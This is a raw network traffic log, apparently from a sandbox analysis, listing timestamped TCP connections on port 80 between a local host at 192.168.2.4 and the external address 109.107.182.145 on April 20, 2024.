Apr 20, 2024 00:42:35.873866081 CEST	49758	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.130506992 CEST	80	49759	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.130650043 CEST	80	49759	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.130975008 CEST	49759	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.207731009 CEST	49760	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.209568024 CEST	49759	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.383862019 CEST	49761	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.394043922 CEST	80	49759	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.394061089 CEST	80	49759	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.402276039 CEST	80	49759	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.405889034 CEST	49759	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.472449064 CEST	80	49760	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.473578930 CEST	49760	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.473692894 CEST	49760	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.474314928 CEST	80	49759	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.477715015 CEST	49759	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.646061897 CEST	80	49761	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.646184921 CEST	49761	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.646425009 CEST	49761	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.734323025 CEST	80	49760	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.734340906 CEST	80	49760	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.734605074 CEST	49760	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.907985926 CEST	80	49761	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.908005953 CEST	80	49761	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.911935091 CEST	49761	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:36.993206024 CEST	80	49760	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.993221998 CEST	80	49760	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:36.999762058 CEST	80	49760	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:37.144620895 CEST	49760	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:37.173422098 CEST	80	49761	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:37.188201904 CEST	80	49761	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:37.300837040 CEST	49761	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:37.353503942 CEST	49760	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:37.353714943 CEST	49761	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:37.354585886 CEST	49762	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:37.612225056 CEST	80	49760	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:37.612317085 CEST	49760	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:37.613174915 CEST	80	49762	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:37.613248110 CEST	49762	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:37.613461971 CEST	49762	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:37.614993095 CEST	80	49761	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:37.615034103 CEST	49761	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:37.873161077 CEST	80	49762	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:37.873179913 CEST	80	49762	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:37.873358011 CEST	49762	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:38.132133961 CEST	80	49762	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:38.141088963 CEST	80	49762	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:38.191483974 CEST	49762	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:38.319540024 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:38.364114046 CEST	49764	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:38.581120968 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:38.581198931 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:38.581362963 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:38.627135992 CEST	80	49764	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:38.627238035 CEST	49764	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:38.627440929 CEST	49764	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:38.844047070 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:38.844067097 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:38.844335079 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:38.888731956 CEST	80	49764	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:38.889064074 CEST	80	49764	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:38.889267921 CEST	49764	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.107532978 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.107558012 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.107572079 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.107585907 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.107599020 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.107634068 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.107641935 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.107676029 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.107676029 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.151304960 CEST	80	49764	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.151324987 CEST	80	49764	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.158478022 CEST	80	49764	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.159980059 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.284224033 CEST	49764	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.284589052 CEST	49765	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.369239092 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.369261980 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.369276047 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.369304895 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.369334936 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.369345903 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.369362116 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.369374990 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.369398117 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.369415045 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.421555042 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.421648979 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.543358088 CEST	80	49765	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.543576002 CEST	49765	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.543667078 CEST	49765	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.545742989 CEST	80	49764	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.545833111 CEST	49764	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.630944014 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.630963087 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.630980015 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.630995989 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.631031990 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.631052017 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.631119967 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.631134987 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.631165028 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.631185055 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.631246090 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.631283998 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.683140993 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.683196068 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.802165031 CEST	80	49765	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.802217007 CEST	80	49765	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.802413940 CEST	49765	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.892698050 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.892719984 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.892735004 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.892749071 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.892765045 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.892771959 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.892791986 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.892848969 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.892854929 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.892863035 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.892910957 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.892910957 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:39.988188028 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:39.988260984 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.061081886 CEST	80	49765	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.067795992 CEST	80	49765	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.157408953 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.157459021 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.157474995 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.157484055 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.157530069 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.157557964 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.188755035 CEST	49765	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.189059973 CEST	49766	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.251235962 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.251322031 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.421066999 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.421092987 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.421108007 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.421122074 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.421138048 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.421142101 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.421178102 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.421221018 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.447283030 CEST	80	49765	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.447366953 CEST	49765	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.450228930 CEST	80	49766	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.450310946 CEST	49766	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.450445890 CEST	49766	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.513051033 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.513108015 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.682611942 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.682637930 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.682648897 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.682658911 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.682703972 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.682712078 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.682737112 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.682760954 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.682790995 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.711540937 CEST	80	49766	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.711591005 CEST	80	49766	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.711854935 CEST	49766	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.774673939 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.774825096 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.944386959 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.944407940 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.944420099 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.944431067 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.944441080 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.944489956 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.944535017 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:40.973031998 CEST	80	49766	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:40.979976892 CEST	80	49766	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.036379099 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.036509037 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.050865889 CEST	49766	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.093707085 CEST	49767	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.093766928 CEST	49766	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.206072092 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.206090927 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.206101894 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.206156015 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.206172943 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.206212997 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.297993898 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.298039913 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.352658033 CEST	80	49767	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.352737904 CEST	49767	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.355617046 CEST	80	49766	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.355674028 CEST	49766	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.355817080 CEST	49767	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.468605995 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.468648911 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.468661070 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.468663931 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.468694925 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.468725920 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.468749046 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.468828917 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.468873024 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.469216108 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.469227076 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.469266891 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.559541941 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.559614897 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.614083052 CEST	80	49767	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.614095926 CEST	80	49767	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.614315033 CEST	49767	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.730436087 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.730452061 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.730462074 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.730472088 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.730483055 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.730524063 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.730571032 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.730671883 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.730684042 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.730710983 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.730725050 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.821319103 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.821393013 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.872734070 CEST	80	49767	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.872747898 CEST	80	49767	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.878931046 CEST	80	49767	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.992162943 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.992199898 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.992230892 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.992244959 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.992285967 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.992310047 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.992342949 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.992373943 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.992388964 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.992404938 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:41.992415905 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:41.992449999 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.001724005 CEST	49768	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.001774073 CEST	49767	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.004452944 CEST	49769	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.082947016 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.083020926 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.254208088 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.254260063 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.254292965 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.254300117 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.254313946 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.254327059 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.254348993 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.254360914 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.254378080 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.254405022 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.254477024 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.254511118 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.254523039 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.254543066 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.254575014 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.260169029 CEST	80	49767	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.260209084 CEST	80	49768	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.260241985 CEST	49767	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.260339022 CEST	49768	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.260636091 CEST	49768	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.267371893 CEST	80	49769	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.267446041 CEST	49769	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.267580032 CEST	49769	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.344630003 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.515913010 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.515966892 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.515980005 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.516022921 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.516112089 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.516124010 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.516253948 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.519752979 CEST	80	49768	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.519763947 CEST	80	49768	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.519958973 CEST	49768	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.528145075 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.528157949 CEST	80	49763	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.528198957 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.528234959 CEST	49763	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.531649113 CEST	80	49769	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.531752110 CEST	80	49769	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.531922102 CEST	49769	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.778793097 CEST	80	49768	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.785449028 CEST	80	49768	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.785957098 CEST	49769	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.795123100 CEST	80	49769	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.802999020 CEST	80	49769	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:42.803065062 CEST	49769	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.908387899 CEST	49768	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:42.908660889 CEST	49770	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:43.049629927 CEST	80	49769	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:43.049700975 CEST	49769	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:43.167537928 CEST	80	49768	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:43.167622089 CEST	49768	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:43.168147087 CEST	80	49770	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:43.168212891 CEST	49770	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:43.168371916 CEST	49770	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:43.426399946 CEST	80	49770	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:43.426451921 CEST	80	49770	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:43.429172039 CEST	49770	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:43.687520027 CEST	80	49770	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:43.693726063 CEST	80	49770	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:43.738363981 CEST	49770	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:43.822309971 CEST	49771	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:44.083651066 CEST	80	49771	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:44.083842039 CEST	49771	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:44.085751057 CEST	49771	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:44.347116947 CEST	80	49771	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:44.347215891 CEST	80	49771	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:44.347429037 CEST	49771	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:44.608742952 CEST	80	49771	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:44.608762026 CEST	80	49771	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:44.618010998 CEST	80	49771	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:44.735815048 CEST	49771	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:44.736124039 CEST	49772	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:44.997612953 CEST	80	49771	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:44.997668982 CEST	80	49772	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:44.997788906 CEST	49771	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:44.997816086 CEST	49772	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:44.997977972 CEST	49772	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:45.259282112 CEST	80	49772	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:45.259430885 CEST	80	49772	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:45.259605885 CEST	49772	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:45.529721975 CEST	80	49772	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:45.529745102 CEST	80	49772	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:45.582123995 CEST	49772	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:45.656786919 CEST	49770	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:45.664357901 CEST	49772	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:45.664675951 CEST	49773	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:45.923155069 CEST	80	49773	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:45.923247099 CEST	49773	80	192.168.2.4	109.107.182.145
